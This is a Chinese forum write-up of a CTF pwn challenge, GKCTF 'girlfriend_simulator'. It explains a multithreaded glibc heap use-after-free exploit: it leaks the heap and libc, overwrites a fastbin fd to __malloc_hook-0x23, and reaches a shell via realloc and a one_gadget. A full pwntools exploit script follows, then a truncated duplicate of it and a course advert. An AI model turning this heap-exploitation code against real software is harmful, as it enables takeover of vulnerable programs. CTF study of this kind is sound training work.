-
-
[原创]GKCTF-girlfriend_simulator 多线程+堆
-
发表于: 2020-10-20 16:42 7757
-
一道多线程+堆pwn。
线程函数中是一个有UAF的菜单堆,但是限制了利用次数,难以在一个子线程中完成全部利用。
并且当到达最后一个线程时,可以泄露libc基地址。
当线程函数结束后,可以对最后一个申请的chunk做一次0x10的任意写。如果最后一个申请的chunk为free状态,那么就可以通过这里来劫持他的fd指针。但需要注意的是,这一个过程是发生在主线程的arena中的
当所有子线程结束后有3次malloc的机会,并且前两次都可以写。利用这个来打one_gadget
1.利用泄露的堆地址探测什么时候到达主线程的main_arena。(因为arena是个循环链表)
arena结构如下:
可以看看俺的这篇文章。
main_arena
2.在到达主线程的arena时放掉chunk,留下bss上的指针,拿到libc基地址。
3.利用线程结束后的任意写,改fastbin中chunk的fd为malloc_hook-0x23(此时在main_arena中),然后用realloc+one_gadget即可getshell。
其中detect_if_thread_main()
是用来探测此时是否在主线程的分配区中,注意他输出的是上一个线程的堆地址。(经测试,第9个线程的arena循环到main_arena中)
# encoding=utf-8
from
pwn
import
*
from
LibcSearcher
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path
=
"./girlfriend_simulator"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho
=
'>>'
# choice提示语
siz
=
'size?'
# size输入提示语
con
=
'content:'
# content输入提示语
def
add(size,content
=
'
',c='
1
'):
sal(cho,c)
sal(siz,
str
(size))
sa(con,content)
def
free(c
=
'2'
):
sal(cho,c)
def
show(c
=
'3'
):
sal(cho,c)
# 获取pie基地址
def
get_proc_base(p):
proc_base
=
p.libs()[p._cwd
+
p.argv[
0
].strip(
'.'
)]
info(
hex
(proc_base))
# 获取libc基地址
def
get_libc_base(p):
libc_base
=
p.libs()[libc_path]
info(
hex
(libc_base))
def
detect_if_thread_main():
# 管理结构:bss_table[] -> chunk_info(0x10大小) -> chunk
add(
0x10
,
'a'
*
8
)
# 此时开了一个0x10的chunk_info和一个0x10的chunk
free()
# 释放0x10的chunk到子线程的bins里
add(
0x10
,
'b'
*
8
)
# 再申请0x10,此时把之前的chunk申请回来作为chunk_info2
show()
# 泄露上一chunk info中uaf的上一chunk地址。
ru(
'b'
*
8
)
heap
=
u64(r(
8
))
success(
"last:"
+
hex
(heap))
sal(cho,
'5'
)
def
exp():
global
io
io
=
process(elf_path)
get_proc_base(io)
get_libc_base(io)
ru(
"How much girlfriend you want ?"
)
sl(
str
(
9
))
for
i
in
range
(
8
):
detect_if_thread_main()
# 经过探测在第九次时到达主线程的main_arena
# 接下来的操作均在主线程的main_arena中
add(
0x68
,
'a'
*
0x10
)
free()
sal(cho,
'5'
)
ru(
"wife:"
)
libc.address
=
int
(r(
len
(
'0x7ffff7bb5620'
)),
16
)
-
libc.sym[
'_IO_2_1_stdout_'
]
success(
"libc:"
+
hex
(libc.address))
malloc_hook
=
libc.sym[
'__malloc_hook'
]
realloc
=
libc.address
+
(
0x7ffff7874710
-
0x7ffff77f0000
)
ogg
=
libc.address
+
0x4527a
success(
"one_gadget:"
+
hex
(ogg))
success(
"mallochook:"
+
hex
(malloc_hook))
success(
"realloc:"
+
hex
(realloc))
ru(
"say something to impress your girlfriend"
)
s(p64(malloc_hook
-
0x23
))
ru(
"your girlfriend is moved by your words"
)
sl(
"???"
)
pause()
ru(
"Questionnaire"
)
s(
'\x00'
*
11
+
p64(ogg)
+
p64(realloc
+
4
))
shell()
exp()
# encoding=utf-8
from
pwn
import
*
from
LibcSearcher
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path
=
"./girlfriend_simulator"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho
=
'>>'
# choice提示语
siz
=
'size?'
# size输入提示语
con
=
'content:'
# content输入提示语
def
add(size,content
=
'
',c='
1
'):
sal(cho,c)
sal(siz,
str
(size))
sa(con,content)
def
free(c
=
'2'
):
sal(cho,c)
def
show(c
=
'3'
):
sal(cho,c)
# 获取pie基地址
def
get_proc_base(p):
proc_base
=
p.libs()[p._cwd
+
p.argv[
0
].strip(
'.'
)]
info(
hex
(proc_base))
# 获取libc基地址
def
get_libc_base(p):
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏记录
参与人
雪币
留言
时间
一笑人间万事
为你点赞~
2022-7-30 10:44
TripleJ
为你点赞~
2022-5-15 12:48
Cheney辰星
为你点赞~
2020-10-24 19:49
赞赏
他的文章
看原图
赞赏
雪币:
留言: